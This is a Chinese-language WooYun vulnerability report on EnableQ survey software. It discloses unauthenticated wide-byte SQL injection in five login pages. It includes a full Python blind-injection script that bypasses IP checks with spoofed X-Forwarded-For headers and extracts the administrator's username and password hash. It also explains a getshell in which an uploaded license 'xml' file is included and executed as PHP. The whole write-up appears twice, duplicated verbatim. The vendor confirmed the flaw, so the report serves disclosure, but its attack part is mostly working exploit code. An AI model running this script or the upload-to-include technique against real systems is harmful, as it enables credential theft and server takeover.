当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2015-164832

漏洞标题: EnableQ无需登录5处注入+Getshell(demo测试)

相关厂商: 北京科维能动信息技术有限公司

漏洞作者: 玉林嘎认证白帽子

提交时间: 2015-12-28 11:32

公开时间: 2016-01-28 17:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-02-22: 细节向核心白帽子及相关领域专家公开
2016-03-03: 细节向普通白帽子公开
2016-03-13: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

通杀V9.10-V10.20

详细说明:

官方提供了老版本的源码下载 分析代码发现适用于最新版的漏洞



存在的5处注入均处于登录位置

code 区域
/Customer/index.php
/Android/Login.php
/Monitor/Login.php
/Offline/Login.php
/System/Login.php





/System/目录下源码无法解密出来 以/Android/Login.php 为例



114-120行:

code 区域
if ( $_POST['Action'] == "LoginSubmit" )
{
header( "Content-Type:text/html; charset=gbk" );
$administratorsName = iconv( "UTF-8", "GBK", trim( $_POST['userName'] ) );
$passWord = trim( $_POST['userPass'] );
$SQL = " SELECT administratorsName,nickName,administratorsID,passWord,isActive,isAdmin,userGroupID,groupType FROM ".ADMINISTRATORS_TABLE.( " WHERE administratorsName='".$administratorsName."' AND isAdmin !=0 LIMIT 0,1 " );
$Login_Row = $DB->queryFirstRow( $SQL );









code 区域
$administratorsName = iconv( "UTF-8", "GBK", trim( $_POST['userName'] ) );



iconv函数引发的宽字节注入



由于enableq登录要获取一个特定随机值 而且 对ip做了限制(可通过XFF绕过)

所以写了python脚本获取用户数据



code 区域
# -*- encoding: utf-8 -*-
import requests
import random
import re
import binascii

url = 'http://**.**.**.**/enableq/System/Login.php'
regex = **.**.**.**pile(r'name="crumb" id="crumb" value="(.+?)"')
xff = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
headers = {'X-Forwarded-For': xff}
r = requests.get(url, headers=headers, timeout=3)
cookie = r.cookies['PHPSESSID']
crumb = regex.findall(r.content)

result = ''
result1 = ''
i = 0
j = 0
print 'Test to catch username...'
for f in range(0,15):
if i == 2:
print 'username:' + result
break
i += 1
for c in range(48,58)+range(65,90)+range(97,122):
try:
xff1 = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
cookies = dict(PHPSESSID=cookie)
headers = {'X-Forwarded-For': xff1}
test = result
test += chr(c)
exp = "test錦' or administratorsID = 1 and administratorsName like 0x" + binascii.b2a_hex(test) + "25 and sleep(5)#"
payload = {'Action': 'LoginSubmit', 'userName': exp, 'userPass': '8277e0910d750195b448797616e091ad', 'remberme': '0', 'crumb': crumb}
r1 = requests.post(url, data=payload, cookies=cookies, headers=headers, timeout=5)
#print r1.content
except:
i = 0
result += chr(c)
print result
break

print 'Test to catch password...'
for f in range(0,40):
if j == 2:
print 'password:' + result1
break
j += 1
for c in range(48,58)+range(97,103):
try:
xff2 = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
cookies = dict(PHPSESSID=cookie)
headers = {'X-Forwarded-For': xff2}
test = result1
test += chr(c)
exp = "test錦' or administratorsName = 0x" + binascii.b2a_hex(result) + " and password like 0x" + binascii.b2a_hex(test) + "25 and sleep(5)#"
payload = {'Action': 'LoginSubmit', 'userName': exp, 'userPass': '8277e0910d750195b448797616e091ad', 'remberme': '0', 'crumb': crumb}
r2 = requests.post(url, data=payload, cookies=cookies, headers=headers, timeout=5)
#print r2.content
except:
j = 0
result1 += chr(c)
print result1
break

print result + ':' + result1





1.png





获取demo管理员数据 登录



2.png





接下来就是后台getshell部分



/License/License.php



code 区域
<?php
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/

define( "ROOT_PATH", "../" );
require_once( ROOT_PATH."Entry/Global.setup.php" );
include_once( ROOT_PATH."Lang/CN/Lang.mgt.inc.php" );
include_once( ROOT_PATH."License/License.xml" );
_obfuscate_M3huBQ9qFwp6BHk9HxEÿ( 1 );
$thisProg = "License.php";
if ( $_POST['Action'] == "UploadLicenseSubmit" )
{
$tmpExt = dmeqjch( ".", $_FILES['xmlFile']['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $extension == "xml" )
{
copy( $_FILES['xmlFile']['tmp_name'], $Config['absolutenessPath']."License/License.xml" );
_obfuscate_dmNyGwFrHDZ3cQÿÿ( $lang['upload_license_file'] );
_obfuscate_J2oaPRQEfwc3cTxc( $lang['upload_license_file'], $thisProg );





code 区域
if ( $extension == "xml" )
{
copy( $_FILES['xmlFile']['tmp_name'], $Config['absolutenessPath']."License/License.xml" );





这段代码就是把上传的xml文件copy到License/License.xml



再看

code 区域
include_once( ROOT_PATH."License/License.xml" );



包含进去 导致Getshell 而这个文件会调用到每个文件 于是连接首页也行



3.png





QQ图片20151226004546.png





主站沦陷

漏洞证明:

官方提供了老版本的源码下载 分析代码发现适用于最新版的漏洞



存在的5处注入均处于登录位置

code 区域
/Customer/index.php
/Android/Login.php
/Monitor/Login.php
/Offline/Login.php
/System/Login.php





/System/目录下源码无法解密出来 以/Android/Login.php 为例



114-120行:

code 区域
if ( $_POST['Action'] == "LoginSubmit" )
{
header( "Content-Type:text/html; charset=gbk" );
$administratorsName = iconv( "UTF-8", "GBK", trim( $_POST['userName'] ) );
$passWord = trim( $_POST['userPass'] );
$SQL = " SELECT administratorsName,nickName,administratorsID,passWord,isActive,isAdmin,userGroupID,groupType FROM ".ADMINISTRATORS_TABLE.( " WHERE administratorsName='".$administratorsName."' AND isAdmin !=0 LIMIT 0,1 " );
$Login_Row = $DB->queryFirstRow( $SQL );









code 区域
$administratorsName = iconv( "UTF-8", "GBK", trim( $_POST['userName'] ) );



iconv函数引发的宽字节注入



由于enableq登录要获取一个特定随机值 而且 对ip做了限制(可通过XFF绕过)

所以写了python脚本获取用户数据



code 区域
# -*- encoding: utf-8 -*-
import requests
import random
import re
import binascii

url = 'http://**.**.**.**/enableq/System/Login.php'
regex = **.**.**.**pile(r'name="crumb" id="crumb" value="(.+?)"')
xff = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
headers = {'X-Forwarded-For': xff}
r = requests.get(url, headers=headers, timeout=3)
cookie = r.cookies['PHPSESSID']
crumb = regex.findall(r.content)

result = ''
result1 = ''
i = 0
j = 0
print 'Test to catch username...'
for f in range(0,15):
if i == 2:
print 'username:' + result
break
i += 1
for c in range(48,58)+range(65,90)+range(97,122):
try:
xff1 = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
cookies = dict(PHPSESSID=cookie)
headers = {'X-Forwarded-For': xff1}
test = result
test += chr(c)
exp = "test錦' or administratorsID = 1 and administratorsName like 0x" + binascii.b2a_hex(test) + "25 and sleep(5)#"
payload = {'Action': 'LoginSubmit', 'userName': exp, 'userPass': '8277e0910d750195b448797616e091ad', 'remberme': '0', 'crumb': crumb}
r1 = requests.post(url, data=payload, cookies=cookies, headers=headers, timeout=5)
#print r1.content
except:
i = 0
result += chr(c)
print result
break

print 'Test to catch password...'
for f in range(0,40):
if j == 2:
print 'password:' + result1
break
j += 1
for c in range(48,58)+range(97,103):
try:
xff2 = str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
cookies = dict(PHPSESSID=cookie)
headers = {'X-Forwarded-For': xff2}
test = result1
test += chr(c)
exp = "test錦' or administratorsName = 0x" + binascii.b2a_hex(result) + " and password like 0x" + binascii.b2a_hex(test) + "25 and sleep(5)#"
payload = {'Action': 'LoginSubmit', 'userName': exp, 'userPass': '8277e0910d750195b448797616e091ad', 'remberme': '0', 'crumb': crumb}
r2 = requests.post(url, data=payload, cookies=cookies, headers=headers, timeout=5)
#print r2.content
except:
j = 0
result1 += chr(c)
print result1
break

print result + ':' + result1





1.png





获取demo管理员数据 登录



2.png





接下来就是后台getshell部分



/License/License.php



code 区域
<?php
/*********************/
/* */
/* Version : 5.1.0 */
/* Author : RM */
/* Comment : 071223 */
/* */
/*********************/

define( "ROOT_PATH", "../" );
require_once( ROOT_PATH."Entry/Global.setup.php" );
include_once( ROOT_PATH."Lang/CN/Lang.mgt.inc.php" );
include_once( ROOT_PATH."License/License.xml" );
_obfuscate_M3huBQ9qFwp6BHk9HxEÿ( 1 );
$thisProg = "License.php";
if ( $_POST['Action'] == "UploadLicenseSubmit" )
{
$tmpExt = dmeqjch( ".", $_FILES['xmlFile']['name'] );
$tmpNum = count( $tmpExt ) - 1;
$extension = strtolower( $tmpExt[$tmpNum] );
if ( $extension == "xml" )
{
copy( $_FILES['xmlFile']['tmp_name'], $Config['absolutenessPath']."License/License.xml" );
_obfuscate_dmNyGwFrHDZ3cQÿÿ( $lang['upload_license_file'] );
_obfuscate_J2oaPRQEfwc3cTxc( $lang['upload_license_file'], $thisProg );





code 区域
if ( $extension == "xml" )
{
copy( $_FILES['xmlFile']['tmp_name'], $Config['absolutenessPath']."License/License.xml" );





这段代码就是把上传的xml文件copy到License/License.xml



再看

code 区域
include_once( ROOT_PATH."License/License.xml" );



包含进去 导致Getshell 而这个文件会调用到每个文件 于是连接首页也行



3.png





QQ图片20151226004546.png





主站沦陷

修复方案:

问题挺多的.

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-12-29 13:31

厂商回复:

多谢网友贡献。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-12-28 11:33 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3082 漏洞数:613 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)
    0

    刁刁

  2. 2015-12-28 11:34 | komas ( 普通白帽子 | Rank:107 漏洞数:25 )
    0

    牛牛的

  3. 2015-12-28 11:39 | whynot ( 普通白帽子 | Rank:670 漏洞数:134 | 为你解冻冰河 为你放弃世界有何不可)
    0

    要发红包吗?

  4. 2015-12-28 11:43 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)
    0

    666

  5. 2015-12-28 12:02 | AK-47 ( 实习白帽子 | Rank:78 漏洞数:11 | 开开心心挖洞,踏踏实实上学!)
    0

    6666

  6. 2015-12-28 21:37 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    @玉林嘎 为何你这么吊?

  7. 2015-12-28 21:42 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    @U神 跟你学的

登录后才能发表评论,请先 登录